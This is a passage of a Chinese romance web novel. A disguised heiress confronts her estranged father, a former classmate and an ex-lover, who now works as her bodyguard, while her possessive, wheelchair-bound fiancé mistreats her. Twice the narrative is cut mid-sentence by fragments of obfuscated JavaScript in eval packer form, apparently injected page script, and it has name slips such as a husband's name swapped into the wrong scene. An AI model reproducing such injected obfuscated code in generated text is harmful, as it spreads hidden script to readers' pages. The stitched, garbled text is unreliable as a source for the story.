荒唐就荒唐在这里,那人并没听说过这样一个姜家,却立即做出一副知晓的样子来。毕竟在这样一个圈子里混,知道的信息越少,显得你越不入流。 侍应生背着一条手臂,单手举着托盘,低头恭谨地把香槟呈到姜堇面前。 姜堇取过一杯。她说得对,以她现下这般身价,芸芸众生连平视她一眼的资格都没有。 她抿一口酒,眼神含笑地扫过众人,嘴里低低地唤:“陈先生。” 她晃一晃细颈酒杯里清浅的酒液,眼神亦如琥珀流光:“这酒比起当年拳馆里卖的十块钱一杯扎啤如何,你要尝尝看么?” 陈列:“我在工作。” 姜堇:“所以你很久没喝过酒了?” 陈列不再答她的话。 她笑一笑仰颈把整杯酒灌入喉咙里。陈列瞧出来她现在喝酒喝得凶,以至于某些时候说话带一种暗哑。 上流社会没人这样大口喝酒的,可也无人敢来挑剔她的教养。 她有微醺之感,眼波婉转地扫过宴会厅众人,指尖在晶莹剔透的玻璃杯上轻轻敲着。 人人不敢正眼瞧她,却又人人都在窃窃议论她,带着初见的惊艳。 其实他们哪里没见过她呢。 他。 她。 还有他。 姜堇指尖在玻璃杯壁轻轻敲着,辨认出一张张熟面孔。 他们分明都见过她,七年前便是在这个宴会厅里,他们见过她跳一曲探戈。 那时滕氏酒店还未兴建,S酒店还是江城最高端的所在。她穿一条看起来高贵的暗黑礼服裙,只有她自己知道那是淘宝一百来块钱买的,粗劣的料子磨着她白腻的肌肤。 那时她被逼到了绝境。展臂,回眸,下腰,每一个动作带切切的力道,宛如一只黑天鹅的绝唱,随时将在湖畔垂颈而死。 因而显得格外凄艳动人。 “姜小姐,你来了啊。”递帖子的港岛贵妇看见姜堇,立马殷切地迎上来:“有兴趣的话,我给你介绍些朋友?” 姜堇慵懒笑道:“不打扰你,你先忙。” 贵妇唯唯诺诺退下。 想攀滕氏高枝的人不知多少。现在的姜堇好似无需看任何人脸色。 她只是站在墙角一杯杯的喝酒,眼神慵倦而愈见妩媚,好似她真只是从无聊的生活里溜出来贪醉一晚。 不知过了多久,她却忽然端着酒杯往前走去。 陈列立即跟上。 “吴太。”姜堇笑着跟刚才那位贵妇打招呼:“这是你在江城的朋友吗?介绍一下?” 贵妇不知怎的她突然又肯赏光,当然求之不得。 立即介绍道:“这位是姜太,巧了么这不是,她先生与姜小姐是本家。” 眼前被唤作“姜太”的女人笑着望过来,目光却在姜堇脸上一凝。 “姜小姐……”她伸出来欲与姜堇相握的手亦是凝滞在半空。 姜堇笑得谦和,却并没有伸出手来回握的意思。 而是看着朝姜太走近的男人。 男人从商,对派对的人潮流向就如同水手对洋流一般,有种天然的直觉。他知道有大人物过来了,挂着模式化的笑容正要过来攀谈,目光却与他妻子一样凝在姜堇脸上。 港岛贵妇的神经算不得敏锐,还在替他们介绍:“这是姜太的先生姜先生,现在掌管太太的家族企业,生意做得很出色的,跟港岛政府也有往来。” 姜堇笑得永远得体,先打了声招呼:“姜生,姜太。” 她说粤语带一种喑哑,不轻佻,却风流,不带一点点口音。 姜启川和妻子对视一眼。 贵妇眼见着场面有点尴尬,替他们打圆场:“姜小姐好靓吧?是这样的啦,好多人见她第一次面的时候都反应不过来呢,呵呵呵呵。” 姜启川这时开口:“姜小姐在哪里高就?” 他始终狐疑地盯着姜堇,眼底藏着阴鸷。 贵妇立刻接话:“姜小姐是著名的珠宝设计师啦,姜太你应该听过她的,姜雪照,现在哪位太太手里没一两件姜小姐设计的作品,都不好意思出门跟人打招呼的啦。” “哦对了,这次姜小姐来江城,是陪滕二少来看工程啦。她是滕少的未婚妻,郎才女貌,当时我们港岛的小报登了三天三夜诶!” 姜,雪,照。 姜启川在心里回味一遍这名字。 他的双眼诚然告诉他眼前这人就是姜堇,他曾经的私生女。可他记忆里的姜堇瘦得过分,双颊深深凹陷下去。 眼前的女人薄施粉黛,却有一种养尊处优、艳光四射的美。 尤其那一双手—— 姜启川以一个生意人过分精明的双眼,垂眸去看姜堇的手。 那是一双未经苦难的手,白腻如瓷,骨节细小。 他记得第一次见姜堇的时候,也注意去看姜堇的手。无论姜堇的一张脸如何出挑,可那一双手上隐隐残留的疤、和过分粗大的骨节出卖了她。 她是穷苦女。 姜启川抬起眼皮笑问姜堇:“姜小姐以前来过江城么?” “从来没有。”姜堇从容笑道。 姜太太好像终于找回自己舌头似的,搭话道:“姜小姐喜欢江城么?” 姜堇似认真思索了一番。 “潮得很。”她轻声细语地说。 “启川。”这时一名年近六十的老者端着酒杯过来:“这位是?替我们介绍一下。” 他是李教授,身后跟着的妙龄女郎是他的女儿李黎。女儿没有任何继承他衣钵从医的意思,大学毕业后自立门户做起了生意。他为了这独生女,近年来跟姜启川走得很近。 李黎端着酒杯笑得殷勤,几年生意做下来,她也能嗅出今晚来的是位大人物。 只是当她看见姜堇,却跟见了鬼一样,短促尖叫一声。 李教授立即呵斥她:“做什么?一惊一乍没礼貌。” 姜堇淡淡笑着,心想:今晚可真热闹。 她特意前来,不就为这样一场热闹么? 目前围拢的一群人中,数李教授跟姜堇打照面的次数最少,诚然十八岁的姜堇当面求过他,可求过他的病人太多了。他一时间觉得姜堇的面容有些面熟,却也不知女儿为何如此大反应。 贵妇浑然不觉,喜滋滋冲李黎道:“姜小姐好靓吧?好多人见她第一面都吓一跳呢。” 李黎下意识重复一遍:“姜小姐?” “姜雪照小姐,珠宝设计师,滕家二少的未婚妻,你应该听过她吧?”贵妇笑道:“姜小姐第一次来江城,你们年纪相仿,有机会你带姜小姐四处转转,去些年轻人喜欢的地方。” 她是热情性子,嘴快,话一出口才想起姜堇的高不可攀。 立刻心虚地瞥了姜堇一眼。 姜堇却好脾气地笑道:“可以,如果李小姐方便的话。” 她始终讲粤语。 李黎尚陷在大脑的混乱中,说话只是重复:“你从没来过江城?” “是。”姜堇点头:“从小跟着父母生活在毛里求斯,长大在英国居多,后来回了港岛,到内地的机会很少。” 她坦然地笑看着李黎。 当她说到“毛里求斯”的时候,李黎心头的肉都跳了跳。 她还深深记得当年的姜堇撒谎,便称自己的父母在毛里求斯经商。 有没有这么巧?当年姜堇虚构出的身份,在世界上真有其人、名字就叫姜雪照? 她大脑一片混乱,看向姜堇身后站着的黑衣保镖:“你是陈列,对吧?” 当年在学校,姜堇和陈列互不相熟。 可他们都是校园的风云人物。 要是今晚见到两个相像的人、而他们都声称自己不是当年的姜堇和陈列,李黎一定大叫一声说什么都不信。 好在陈列站在姜堇身后,沉默地点一下头。 李黎吁出一口气来。还好,她没疯。 李黎看着陈列:“你怎么……” 算了,她对陈列是如何成为保镖这件事也并非真正感兴趣。她感兴趣的是:“那她……” 她不敢指着姜堇,只用目光示意。 她想问陈列:这人真不是姜堇吗? 不同于姜启川和她爸只与姜堇有数面之缘,她和陈列可是在学校和姜堇相处一年之久。 眼前这人不是姜堇?说真的她不信。 姜堇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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怎会有如此荒谬的事? 姜堇俯下身对滕柏仁温声细语:“你工作也累了,不用陪我,我陪你回去吧。” 她对四周笑道:“不好意思,先失陪。” 便推着滕柏仁的轮椅往宴会厅门口走去。 陈列默然地跟在两人身后。 当滕柏仁出现、无需他来决断要不要揭穿姜堇身份时,他是松了口气,还是遗憾? 或许连陈列自己都说不清,毕竟他见过姜堇尊严尽失的那个雨夜。 姜堇推着滕柏仁的轮椅走到门口,最后一次回眸,脸上带着讳莫如深的笑意。 视线扫过一张张七年前她曾见过的脸。 终于有人的目光顿在她脸上:“她、她……” 旁边人问:“怎么了?” “没什么。”那人摇摇头:“没可能的。” 他只是一瞬觉得眼前这位姜小姐的笑似曾相识,好似他七年前在这宴会厅里见过的一个女孩,跳探戈时笑得凄艳又决绝。 - 待滕柏仁和姜堇离去后,姜启川几乎是立刻带着妻子离开了派对。 一路上他紧抿着唇角一言不发,连司机都感受到这低气压而大气不敢喘。 直到下车,姜太太终于受不了这份压抑似的:“她应该不是姜堇吧。” “你觉得不是吗?”姜启川反问。 “不是。”姜太太仔细回想着:“她的下颌线更圆润些,不像姜堇的下巴那么尖,她更有港女范儿一些。” 说这话时两人正在玄关换鞋。 滕柏仁忽然操起长案上的花瓶往墙面砸去,砰地一声瓷片四溅,姜太太吓得捂住嘴。 “不要再提起姜堇这个名字。”姜启川拂袖离去。 - 此时,酒店。 龚哲与陈列交班,让陈列先去吃饭。 走到餐厅时,又遇到同为保镖的那群。 两周的相处,他们自认与陈列已相熟,说话愈发荤素不忌起来:“嗨哥们,你是对姜小姐真不感兴趣啊,看都不看她。” “你喜欢什么类型的?”他贼笑着。 陈列埋头吃饭。 “别害羞嘛。”那人继续道:“干我们这行的时间不自由,都没空排遣欲望。哎,你要是需要的话我送你几本杂志,方便你自己动手解决。” 众人一阵大笑。 陈列放下水杯的动作很重,众人吓了一跳,一瞬噤声。 陈列站起来端着吃空的餐盘离去。 他回到总统套房与龚哲交班,龚哲交代一声滕少和姜小姐已回卧室,便先走了。 陈列检查一圈后回到暗室,扯开领带去快速淋浴。 躺回床上时,他仰望着天花板。 一般安全屋为防火防盗,墙壁垒得极厚,可又留了方法,让里面人得以听清外面的动静。 陈列想起晚餐时那些保镖的污言秽语。 旁边的主卧里有动静么? 陈列一拳闷闷地砸在枕头上。 他真不知自己发什么神经来当保镖。他固然恨姜堇,可他心底对姜堇依然有种难言的占有欲。 睡在她卧室边的每一夜,对他而言都是一种折磨。 此时,隔壁主卧。 姜堇穿一件白丝缎睡袍,端坐在复古松木的梳妆镜前。她洗过澡了,如缎的长发铺满肩头溢着种奢靡的香气。 滕柏仁的轮椅在她身后:“头发。” 姜堇阖一阖眼,浅浅地屏住一口气,把长发拨到一边肩头。 面前的梳妆台上,摆着大大小小各色的丝绒首饰盒。 滕柏仁望着镜中的她,双瞳闪着种如痴如醉的奇异色泽。一条一条拿起那些丝绒盒里的珍宝项链,套在她纤细的脖颈上。 一条试戴完,又戴另一条。 有时动作太急,铂金的搭扣狠狠嵌住姜堇的皮肤。她的皮肤太细腻,很快出痧般有了点点的淤血痕。 滕柏仁端详着镜中的她时,却又连呼吸都放缓。 不知是否常年不见阳光外加吃药,他不仅皮肤有种海水般的潮气,呼吸更是幽凉得微微泛宛若海藻的淡腥,喷在姜堇的颈侧。 喃喃自语的语调近乎病态:“像,太像了……” 51. 余烬 陈列总是起得很早,去健身房运动完以后回来与龚哲交班,陪滕柏仁和姜堇去吃早餐。 诚如滕柏仁所说,眼红滕氏的人未见得敢对他怎么样,反而与他订婚的姜堇成了众矢之的,分外危险,是以要求陈列对她寸步不离。 从这一层面来说,姜堇敢与滕柏仁订婚真是胆大。 真真是欲戴皇冠,必承其重。 陈列看姜堇的眼神从来透着种漠然。跟在她身边越久、越觉得她是姜雪照而并非过去的姜堇,眼神里的漠然就越强。 滕柏仁对这一点很满意,他终于无需担心有人觊觎他美丽的未婚妻。 这天吃早餐时,姜堇问滕柏仁要不要吃炒蛋。 滕柏仁说要,姜堇把一只雕花乳瓷碟推过去,却不知哪里惹恼了他,他猛烈地伸手一推,乳瓷碟推出老远,搭放碟面的银匙更是跌落在地。 铛地一声,刺耳声响。 陈列甚至不知滕柏仁为何生气。 但久病的人大多喜怒无常,姜堇好似已习惯。她把瓷碟拽回自己面前,看一眼地板跌落的瓷勺,叫陈列:“捡起来。” 陈列背手站在一旁:“姜小姐,我是保镖。” 他又不是她的仆人,为什么要做捡勺子这样的事。 姜堇笑了。 其实除她自己和陈列以外,无人觉得她老去。她的五官那般殊丽,笑起来如晨光破开了河面的浓雾。 她用粤语莺声婉转地叫陈列:“捡起来。” 滕柏仁的眼尾摆过来。 老实说陈列是个无可无不可的人,从小的经历让他对日子得过且过。若今天叫他捡勺子的不是姜堇,或许第一遍时他就已捡了。 他没什么原则,只是厌烦冲突,对与人计较向来都不耐烦。这时眼见气氛骤然紧张起来,他虽心里老大不痛快,还是勾腰捡了,放回姜堇手边。 那只银匙已跌脏,姜堇也并没再用。 陈列本以为这件事已过去,却在目送滕柏仁和姜堇出餐厅时,心里更为不痛快起来。 他到底为什么要帮她捡勺子? 他低她一等么? 跟在姜堇身边的日子,姜堇对他谈不上好,当然也谈不上糟。就像姜堇对他的称呼一样——“陈生”,或者“陈先生”,有一种客气的疏离。 他总是垂下眸子不直视姜堇,姜堇也不看他。两人之间私下的对谈,更是一次也没有。 姜堇唯独会做一件事,就是叫他捡东西。 好似在测试他的服从度。 这天滕柏仁不在,姜堇叫人把下午茶点送到房间里来。 她吃下午茶时坐在巨幅的观景窗前,身后就是那条举世闻名蜿蜒的江。她一边吃喝,手里还在翻阅一份文件,以至把搅拌咖啡的小勺碰到了地上。 她叫陈列:“捡起来。” 陈列站着不动。 她看陈列一眼,笑着又说一遍:“捡起来。” 这一切她都讲粤语,陈列真恨不得自己听不懂,听懂了他也不想动。 姜堇索性站起来,踩着高跟鞋走到他面前。他比她高一个头有余,她看他时需仰着俏丽的下巴。 又说一次:“捡起来。” 陈列仍是梗着脖子站着不动。 他就不捡,她又能奈他何?大不了不干。 姜堇反倒真笑了,蹲下身去,自己捡起小勺,蹲下的动作显出她盈盈一握的腰肢。站起来时她把长发勾回耳后,眼神含笑地看向他:“还是这么倔啊,陈列。” 她的语调似忆当年。 她有什么资格忆当年?! “我说了不要再这么叫我。”陈列的眼神欲喷出火来:“还有,不要再叫我捡东西,我不是你的狗。” 姜堇挑着唇角坐回桌畔。 好似陈列终于用愤怒取代了漠然这件事,让她很愉悦。 - 李黎没想到自己会接到一个港岛号码的电话。 她做些艺术品投资的生意,籍着她爸的关系多多仰仗姜启川,生意有涉猎港岛。此时接起来:“喂?” “李小姐。”一声悦耳的粤语传来,喑哑的,隐隐的矜傲与性感。 “你是?”李黎把玩着桌上的签名笔,高跟鞋一晃一晃。 “我是姜雪照。”对方语调含笑。 李黎指间的笔啪嗒一声掉落桌面。 老实说,并非面对面的时候,单听对面这把声音,她绝不会以为这是她七年前的“好同学”姜堇。 不是说,声音比视觉更不会骗人吗? “姜小姐有什么事?”李黎迟疑着问。 “是这样,我在江城没什么同龄朋友。”姜堇从容笑道:“上次吴太提了一嘴,李小姐若是有空,我们出去逛逛?” “姜小姐想去哪里?” “都好,无非是些女孩子爱去的地方。” “那行,我安排一下。”李黎到底是应了下来。 若她真是姜雪照而非当年的孤女姜堇,她指缝间随意漏下一些,也够李黎吃喝不愁。 事情就有那么巧,李黎又接到姜太太的电话。 姜启超在那晚派对见到一个疑似姜堇的人后,性格越发暴躁而难以相处起来。姜太太打电话来问:“黎黎你真觉得那不是你以前的同学吧?” “我……”事到如今,李黎反而不确定了。 方才电话里那把声音,跟以前的姜堇一点都不一样。 姜太太说:“我觉得不是,我记得姜堇下巴尖尖的,跟姜小姐的下颌线条并不一样。” 李黎点头:“是,你这么一说,我也觉得。” 见面那天,上午十点,李黎等在咖啡馆里。 当姜堇穿着精致套装、踩着高跟鞋走过来时,她迎着通透晨曦看过去。 是,姜雪照的下颌线条,和姜堇长得一点都不一样。李黎在心中这样告诉自己。 “我吔依家去边度?”姜堇用粤语笑问。 “姜小姐今天听我安排吧。”李黎站起来,拿出一副东道主派头。 她带姜堇去了美术馆,古着精品店,一家江城极为热门的咖啡馆——从来都要大排长龙,当然,凭她的SVIP卡不必。 这一家的树莓挞做得极其精致,酥皮烤得极为精致,薄薄抹匀的开心果酱上置一颗新鲜树莓。 姜堇只浅浅尝了一口,就微笑着不肯再动,在一旁小口啜饮着一杯红茶。 这位千金一整天看起来都兴趣缺缺。 李黎心中有某种切实的不快。 是,自己开医院的父亲令她自小就生活优渥,可当她真正想在往上爬时,她发现自己离真正的名媛圈遥不可及。 比如眼前这位姜小姐。 李黎凑近姜堇耳边,相处了大半天后,她摆出相熟的闺蜜姿势,压低声:“带你去个好地方。” “好啊。”姜堇不露声色坐正了些,像是避开她过分甜腻的吐息。 两人出行李黎是没资格开车的,由滕家司机开那辆劳斯莱斯接送,港岛黄牌,有防弹功能。 姜堇鼻梁架一副猫眼墨镜,拎一只李黎想方设法配货也没资格排队的奢牌手袋,矜贵漂亮得不像话。 从咖啡馆送来的时候,姜堇把钱包从手袋里拿出来,将手袋往李黎手里一递:“送你。” “什么?”李黎一愣。 “你刚才看了好几眼。”姜堇笑道:“那么喜欢的话,送你?” 很奇怪的,也不知是否眼前姜雪照这张面孔和姜堇太像的缘故,她猝然想起七年前高中时的一件往事—— 那时她拿一双奢牌的限量鞋羞辱姜堇。 姜堇却也买到了那双鞋,甚至拿了附赠的手帕一步步走到她面前:“其实我觉得这条手帕十分一般。你那么喜欢的话,送你?” 李黎恍惚了一瞬。 姜堇却已把那不知价值几何的手袋,无限随意地塞她手里:“你陪我一天了,别客气。” 李黎握着那鸵鸟皮的手袋,也不知是否想起姜堇的缘故,心里突然很不是滋味。 姜堇已把钱包往身后的保镖怀里一抛。 那是一只姣妍玫瑰色的钱包,抛到白衬衫黑西装的陈列怀里,搭配他一张冷脸,对比有些过分鲜明。 纵使如此,他还是捏住了那只钱包。 正是盛夏好时节,马路对面的花圃边,有个中年女人面前摆只竹篓,在卖玉兰花。 褐色纸板上明确写着一块钱一朵,也不知一天下来能卖多少钱。 有个年轻女孩过去买花时,也不知如何与她起了龃龉。 她跳起来指着女孩破口大骂,声音又高又尖,一篓子花全被她自己踢翻在地。 陈列下意识跨前一步护到姜堇面前,伸手挡了姜堇一下。姜堇在他侧后方一步的位置看他凌厉的下颌线,被白衬衫的尖尖衣领衬得更为锋利。 陈列这些年瘦了。 护送她们出来的保安解释:“那个女人每天都在对面卖花,城管赶也赶不走,好像精神有点问题,没事的。” 姜堇已往马路对面走去。 陈列紧蹙了下眉,快步跟上。 其实陈列刚刚就在想,女人骂人时又尖又厉的嗓音,让他想起一位故人,姜堇的母亲白柳絮。 他不知白柳絮现在怎么样了,甚至不知白柳絮是否还在世。 他只看到姜堇蹲在他面前,一朵朵捡拾起几乎已被女人踩烂的玉兰花,细声跟女人说:“我都买了。” 女人情绪尚未平复,气呼呼瞪着她。 她往后扬起纤白的手,陈列把钱包递她。 她抽出几张红钞递给女人。 “我不要这么多,我又不是乞丐。”女人指指纸板上的二维码:“你扫码,该给多少给多少。” “我没有微信和支付宝。”姜堇解释:“我从外地来的。” 女人嫌弃地嗤一声:“那我不卖给你。” 姜堇再次对身后扬起一只纤白的手。 她蹲在地上,扭头望着陈列:“你有零钱么?借我?” 真奇怪,她变了这么多,衣饰、妆面、甚至头发的光泽度,可她的发缝还和以前一般洁白。陈列以前站在甲板上抽烟,看她蹲在一旁洗衣服,他垂眸看着,只觉得她的发缝洁白可爱。 原来喜欢一个人的时候,会觉得她连发缝都是可爱的。 陈列后知后觉地发现,他是那样、那样深刻地喜欢过姜堇。 姜堇在询问女人:“这些花要多少钱?” “七十。” 陈列的眼皮一跳。他不知姜堇扬在半空的纤手是否也有一瞬的凝滞。 多么巧,七十块。 是当年姜堇用来买他快乐的钱。 也是当年从他枕头下偷走、斩断他最后一丝期望的钱。 她连七十块都不留给他,带着他所有的快乐一走了之。 陈列固执地站着,连下巴和喉结都绷成沉默的形状,不肯拿钱给她。 她蹲着,眼睛半垂下去,睫毛很轻地翕了翕。 他终是不忍。 从口袋里掏出的零钱像是摔在她掌心。陈列心想,给了就给了,现在的他连姜堇都不愿再想起,也没必要再对“七十块”这种数字过度解读。 姜堇买下了那些花。 李黎在一旁适时吹捧:“姜小姐是如何能这么好心的?” 姜堇笑着轻语:“大概,我相信因果报应这回事。” 李黎猛然一愣。 姜堇已捧着那篓玉兰走远了,好像方才的那句纯属无心之言。 - 连陈列都没想到,李黎会把姜堇带到了这样一个酒吧。 不是清吧。射灯诡谲,朋克乐声震耳欲聋,舞池里的男生个个有过分俊俏的一张脸,与他们共舞的女人有些上了年纪,有些则很年轻。 李黎笑得暧昧,凑到姜堇耳边才能让姜堇听清她的话: “姜小姐应该没来过这样的地方。” 老实说,她对豪门的了解也来自影视剧,还有朋友闲谈的只言片语。只觉得那些高门绣户家教森严,不会放任女儿或媳妇来这样放纵的地方。 她就是想震姜堇一震。 姜堇讶然也好、局促也好,她就是不想再看姜堇那张笑意淡淡、好像她捧出的都是小儿科的脸。 那副神情总让她想起当年的姜堇。 她对姜堇笑道:“姜小姐看上哪个,我有卡,我请。” 姜堇笑了。 正当李黎以为姜堇要促狭地推拒、毕竟姜堇今日那过分精致优雅的套装实在不适合来这种地方,没想到姜堇的视线扫过舞池,指尖点了点最帅的那个: “我要他。” 李黎反倒愣了:“他在陪别人跳舞……” 姜堇从容笑道:“我相信李小姐有办法。” 李黎去交涉了一番,达成姜堇的需求。两个女人都进了舞池,剩陈列一个人站在一旁。 他先是警觉地确认了所有逃生通道的位置。好在这种临时起意的行程,风险系数反而低得多。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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此时姜堇正站在舞池中央,穿一件内搭小背心,热舞的气息未匀,饱满的胸脯剧烈起伏着。而她脸上甚至还挂着沉醉的笑,一手搭在对面男舞伴的胸肌上。 李黎早听说滕家二少对未婚妻的占有欲极强。 眼下这幅光景,岂不得大发雷霆? 陈列站在一旁,拳微微攥紧,想起滕柏仁早餐时无故发火摔了银匙的那一幕。 他多少能看出姜堇的日子并不好过,因而替姜堇紧张。 姜堇喘着气,搭在男舞伴胸肌上的手明显已来不及撤开了。 可她好似也没有撤开的打算,反而对滕柏仁挑唇:“嗨。” 滕柏仁目光幽邃地直视着姜堇。 一秒。 两秒。 当满屋静默的人群都觉得气氛压抑几近窒息时,滕柏仁忽地展颜笑了。 “嗨。”他笑着回应姜堇:“SweetPoppy。” 他扫过姜堇身边男舞伴的视线,淡得像在看某种物件——一只包,一条项链,甚至只是一块蛋糕。能让姜堇短暂地快乐,但绝不会走心。 他甚至不把那男舞伴当个人看,又何至于吃醋? 姜堇笑着向他走过去,带着跳完舞的热气扶住他轮椅,俯低声去与他说话:“你怎么来了?” “路过,来看看你。”滕柏仁道:“你继续玩,我得先走。” 他又由保镖抬出地下室去。乐声恢复,一屋子人却依然面面相觑。 姜堇笑着叫李黎:“我先出去,不然他们都不敢跳舞了。” 李黎忙道:“我陪你。” “不用。”姜堇眼神暧昧地刮过李黎身边同样英俊的男舞伴:“你跳完这支舞吧,花了钱别浪费。” 她先走了,陈列跟在她身后。 当李黎跳完一支舞走出地下室,发现姜堇正靠在酒吧半露出地面的红砖墙上抽烟。 白西装仍搭在陈列的臂弯里,她在夜色中露着白到刺目的两只手臂,大地色唇膏因喝酒剥脱了,反而露出她原本血色灼灼的双唇,衔着烟,在夜色里美得浓艳刺目。 眼神幽远地望着茫茫的夜,似在出神。 李黎并不知道,她嘴里这根烟是刚找陈列要来的。 她问陈列:“有烟么?” 陈列不理她。 她偏了下头,略为娇俏地说了句粤语:“扣你粮咯。” “扣你薪水”的意思。 陈列不在意这些,只是懒得跟她缠,从口袋里掏出烟盒递她。 “火机。” 陈列又掏出火机来。 他擦燃火机,姜堇凑近了来点火,白皙细长的手指半拢过来,在夏夜晚风中护住火苗。 缓缓吐出口青烟来。 其实陈列的烟都很便宜,衔在她嘴里却有种意外的性感。 她又偏了偏头问陈列:“以前还管我喝酒呢,现在倒不管我抽烟了?” 陈列:“为什么要管?” 她笑了声。 那是重逢以后,他第二次听她这样笑,略带一些苍凉,像十八岁在警局路灯下、两手空空一无所有的她。 分明她现在珠翠加身,偏着头抽烟的时候,手指无意识旋着左耳上那枚亮度极高的钻石耳钉。 她自己用首饰时都极克制,比如只戴一条简约的项链,或只戴一只耳钉。 陈列发现一个细节,那就是她从不戴手链。 她细瘦的腕子偶尔戴腕表,其余时间空荡荡。唯一戴过的手链,是十八岁生日时陈列送她那条银链子。 陈列情愿是自己多想。 这时李黎向两人走来,笑道:“你和滕少的感情真好,有什么秘诀?” 姜堇仍微偏着头,略俏皮的话语和姿势:“你觉得呢?” 陈列的烟浓且涩,她却一点不咳,可见抽烟也是抽惯了的。 “真羡慕。”李黎说着又挑唇:“我都没什么可喜欢的人。真要说起来的话……” 她目光扫向一旁的陈列:“陈列你知道吗,我高中时一度还喜欢过你呢,那时其实好多女生都喜欢你。” 姜堇忽地笑了。 “原来你喜欢过他啊。”姜堇点了点指尖的烟,银白的烟灰簌簌而落。 像时间的余烬。 52. 渴望 这时一名棕发女郎走来,有双秋日松果般美丽的眼睛。 她笑着跟姜堇说了句什么,李黎听出那是一句法语,这名女郎是法国人。 姜堇挑着唇角回应,竟是一串与本地人口音无异的流畅法语。 李黎惊了。待女郎离开后,她问:“她同你讲什么?” 姜堇觉得好笑:“她问我是不是亚洲的电影明星。” 李黎陪笑道:“姜小姐这样的身家,自是不屑做演员这样的职业。” 姜堇抽完最后一口烟,把烟蒂在红砖墙上摁熄:“是,在银幕上演有什么趣儿。” 陈列在旁边听得心里悚然一惊—— 好不容易李黎几乎相信了她是姜雪照,她偏自己又要来说这样一些似是而非的话。 好似她心底潜藏着一份渴望,渴望有人发现她就是当年的姜堇。 陈列觉得她在玩火。 李黎问她要不要去续摊,她婉拒:“改天吧,我今晚还有一些设计工作。” 李黎又一阵陪笑:“什么时候能拥有姜小姐设计的一件珠宝,那才真叫有面子,可现在拍卖会上的价格水涨船高。” 姜堇弯了弯唇:“李小姐,手袋可以随便送你,可珠宝是我的作品,纵使我们有私交,也不能随便送你。” 李黎涨红了脸摆手:“不不,我不是这个意思。” 姜堇叫陈列:“走吧。” 出行时若无其他人,陈列都随姜堇坐后排。 她今晚喝了酒,妆容脱了些,反有两道红晕顺着她平时冷傲的面颊爬上来。她好似累了,头靠着车窗阖眸休息。 她醒着时陈列都正襟危坐,这时她睡了,陈列才垂眸去瞥她的侧颜。 窗外闪烁的霓虹挂在她纤长的睫毛上,时而光亮,时而晦暗。让陈列想起刚刚给她点烟的瞬间,火光亮起的一霎,也是这般映亮她的睫毛和小半张侧颜。 那时她没有笑。手指半屈着拢住火苗,不知在想些什么。 火光熄灭的刹那,陈列觉得她很累。就像现下霓虹移走的晦暗分秒,陈列也觉得她很累。 下了车,陈列陪她往酒店里走,刚巧撞见滕柏仁操控着轮椅出来。 “见完李小姐了?”滕柏仁问。 他这样的大人物,竟会记得只有一面之缘的李黎。他对姜堇身边人的把控程度,令陈列悚然。 姜堇笑着耸了耸肩。 他目光落到姜堇怀里抱着的一篓玉兰:“这是什么?” “路边,顺手买的。”姜堇随意答道。 滕柏仁伸手在花瓣上碰了碰,面上挂着笑,只是突地一扬手,把那篓花打翻在地,手指没收着力道,姜堇的腕间也被他劈出一道红。 姜堇却似什么都没发生一般,平静地站着,嘴里问:“这么晚还要出去?” 滕柏仁仍挂着笑,也似什么都没发生一般:“嗯,开个会。” “那我上楼去工作,等你回来。” “去吧。”滕柏仁的轮椅毫不留情碾过散落一地的玉兰瓣。 姜堇上电梯时倚着金属轿厢,不知在想些什么。 陈列不知她是否有一瞬间想起白柳絮。 白柳絮现在怎么样了?陈列根本不想问。 回了总统套房,姜堇略为倦怠地交代一声:“我去换身衣服,你去我工作室等着吧。” 总统套房房间众多,大多是空置,姜堇便拿其中一间改造为自己的工作室。 陈列走进去。 一张巨大的胡桃木书桌,上面整齐地码放着些设计稿,相较于一些喜用平板的设计师,姜堇好似更喜欢传统手绘。 保险箱有两只,大抵放着些价值不菲的珠宝原石。另有一方工作台,放着些雕铸器具,一只宛若十九世纪航海风格的单眼放大镜、是可以头戴的款式,旁边是宛若手术台的聚光灯。 姜堇走进来时,陈列正在打量那方工作台。 “那是打磨珠宝用的。”姜堇勾腰去旋保险箱的密码锁,她换了一件白衬衫加窄脚丝缎裤,长发很利落地在脑后挽个髻,看着倒比刚才气色好些。 她取出一枚钻石原石,放在那方工作台上,戴上那单眼的放大镜,调了调焦距,又旋开聚光灯。 手上开始雕琢时,嘴里告诉陈列:“有些设计师只画设计稿,把后期的切割打磨工作交出去。可我不,我喜欢跟这些小石头打交道。” 她手里电动的切割工具滋滋作响,她便是在这样一片噪响中,似是对陈列倾诉,又似是自言自语:“那么美丽,又那么冰冷坚硬,好像没有心。” 她勾腰工作时眼底泛着专注的光泽。 看起来与手里的钻石无异。 她说那句话的语调,竟像是在说自己的谶语。 陈列在她身侧站了许久,看着她发髻下露出的天鹅般光洁后颈。当她暂且停下手里的工作、甩了甩发酸的手腕时,陈列终于忍不住似的开口:“姜小姐,我有话讲。” 姜堇抬起头来,含笑睨他一眼:“怎么,看上李小姐了?” 陈列懵了一瞬,姜堇已又低下头去。 陈列觉察有异,闭口不再说话。 等姜堇工作完,她对陈列说:“我去淋个浴,烦你在门口守一守。” 工作室配齐备的淋浴间,甚至有一张小小的贵妃丝绒沙发床,供姜堇累了在此小憩。 姜堇走进淋浴间,门开着一隙没关严。 陈列站在门口双手交叠,垂着眸子。 令他万万没想到的是,一只细瘦的腕子拽住他西装,将他往里拖去,旋即锁上门。 里面淋浴声已起,陈列慌忙低头。蓬蓬的雾气间,他看见脏衣篓里放着姜堇刚刚穿过的那身白衬衫和丝缎裤,上面搭放着一条浴巾。 那姜堇现在是…… 陈列视线里有姜堇纤而光洁的一双脚踝,他更是不好抬眸。 姜堇却轻轻地笑了,手往他的正装西裤伸过来。 陈列浑身一凛,却发现姜堇是从他西裤口袋里摸走了烟盒和打火机。 嘶,擦燃火石的声音。 陈列抬头,见姜堇倚在盥洗台上抽他的烟。 她自然不是裸着,严严实实地裹着浴袍,问陈列:“你要说什么?” 陈列猜到外间有摄像头和窃听器。 